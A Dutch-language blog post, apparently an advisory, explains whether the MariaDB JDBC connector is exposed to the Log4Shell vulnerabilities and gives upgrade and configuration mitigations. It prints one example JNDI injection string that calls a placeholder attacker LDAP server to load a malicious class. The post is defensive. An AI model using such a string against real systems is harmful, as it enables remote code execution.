sql >> Database >  >> RDS >> MariaDB

Wordt het MariaDB JDBC-stuurprogramma beïnvloed door de Log4j-kwetsbaarheid?

Is de MariaDB Java-connector getroffen door het beveiligingslek dat onlangs in Log4 is ontdekt? Standaard gebruikt de Java-connector geen Log4j. Als je het echter hebt geconfigureerd om SLF4j te gebruiken, lees dan verder.

Voor informatie die buiten het bereik van het MariaDB JDBC-stuurprogramma valt, lees Log4Shell en MariaDB.

Opmerking :Deze blog is bijgewerkt in 2021-12-15 met details over CVE-2021-45046.

De Log4j-kwetsbaarheid

Apache Log4j is een populair open-source logging-framework voor Java-applicaties. Het wordt gebruikt in verschillende open-source- en bedrijfsprojecten, waaronder cloudleveranciers en e-mailserviceproviders. Op 9 december 2021 werd een kwetsbaarheid van 0 dagen gevonden in Log4j die kan leiden tot uitvoering van code op afstand, waardoor een hacker willekeurige code in een systeem kan uitvoeren. De kwetsbaarheid staat bekend als "Log4Shell" en wordt gevolgd als CVE-2021-44228.

Kortom, de kwetsbaarheid stelt een aanvaller in staat om een ​​JNDI-zoekreeks te injecteren die bijvoorbeeld een externe LDAP-server (beheerd door de aanvaller) aanroept, die op zijn beurt een kwaadaardige Java-klasse retourneert:

${jndi:ldap://[attacker_site]/[malicious_java_class]}

Als een string als deze wordt vastgelegd door Log4j, kan een kwaadwillende Java-klasse willekeurige code uitvoeren (bijvoorbeeld via een statisch codeblok).

Betrokken versies

Gelukkig worden alleen Log4j-versies 2.x vóór 2.15.0 getroffen. Zie de Apache Log4j-beveiligingskwetsbaarheden pagina voor meer informatie. De kwetsbaarheid is niet aanwezig in Log4j versies 1.x.

Hoe CVE-2021-44228 te verminderen

De beste strategie om de kwetsbaarheid te verminderen, is door de Log4j-afhankelijkheid in uw projecten bij te werken. Versie 2.16.0, die het opzoeken van berichten verwijdert, is al beschikbaar. Props aan het team voor het snel vrijgeven hiervan.

Bijwerken :Log4j 2.16.0 repareert ook de tweede kwetsbaarheid die werd bijgehouden als CVE-2021-45046.

Het MariaDB JDBC-stuurprogramma maakt geen gebruik van Log4j 2.x. Het ondersteunt echter SLF4J. Controleer of u de Log4j-binder voor SLF4J gebruikt en zo ja, upgrade Log4j dienovereenkomstig of stel de volgende configuratievariabele in:

-Dlog4j2.formatMsgNoLookups=true

Of stel de volgende omgevingsvariabele in:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Opmerking :Loggen is alleen ingeschakeld als dit expliciet is ingesteld door de log parameter. Naast Log4j kun je ook kiezen voor andere SLF4J-bindingen zoals Jakarta Commons Logging, Logback of de Java Logging API.

Als u Maven gebruikt, kunt u de volgende opdracht uitvoeren om erachter te komen of uw project afhankelijk is van Log4j:

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

Hier is een voorbeeld van het soort output dat je krijgt in een kwetsbaar project:

Als uw project om de een of andere reden niet wordt gecompileerd, kunt u als alternatief het volgende uitvoeren:

mvn help:effective-pom

Zoek naar de log4j-core afhankelijkheid en controleer de gebruikte versie.

Aanvullende informatie

Lijst met links in de blog:

  • MariaDB Java-connector
  • SLF4j
  • Gerelateerde blog Log4Shell en MariaDB
  • CVE-2021-44228
  • Apache Log4j-beveiligingsproblemen
  • Apache Log4j versie 2.16.0
  • log parameter

  1. Hoe vergrendelde rijen in Oracle te vinden

  2. Manieren om eenvoudig de hoofddatabase in SQL Server opnieuw op te bouwen

  3. FORALL-verklaring met INDICES-OF Bound-clausule in Oracle Database

  4. PSQLEException:ResultSet niet goed gepositioneerd, misschien moet je hierna bellen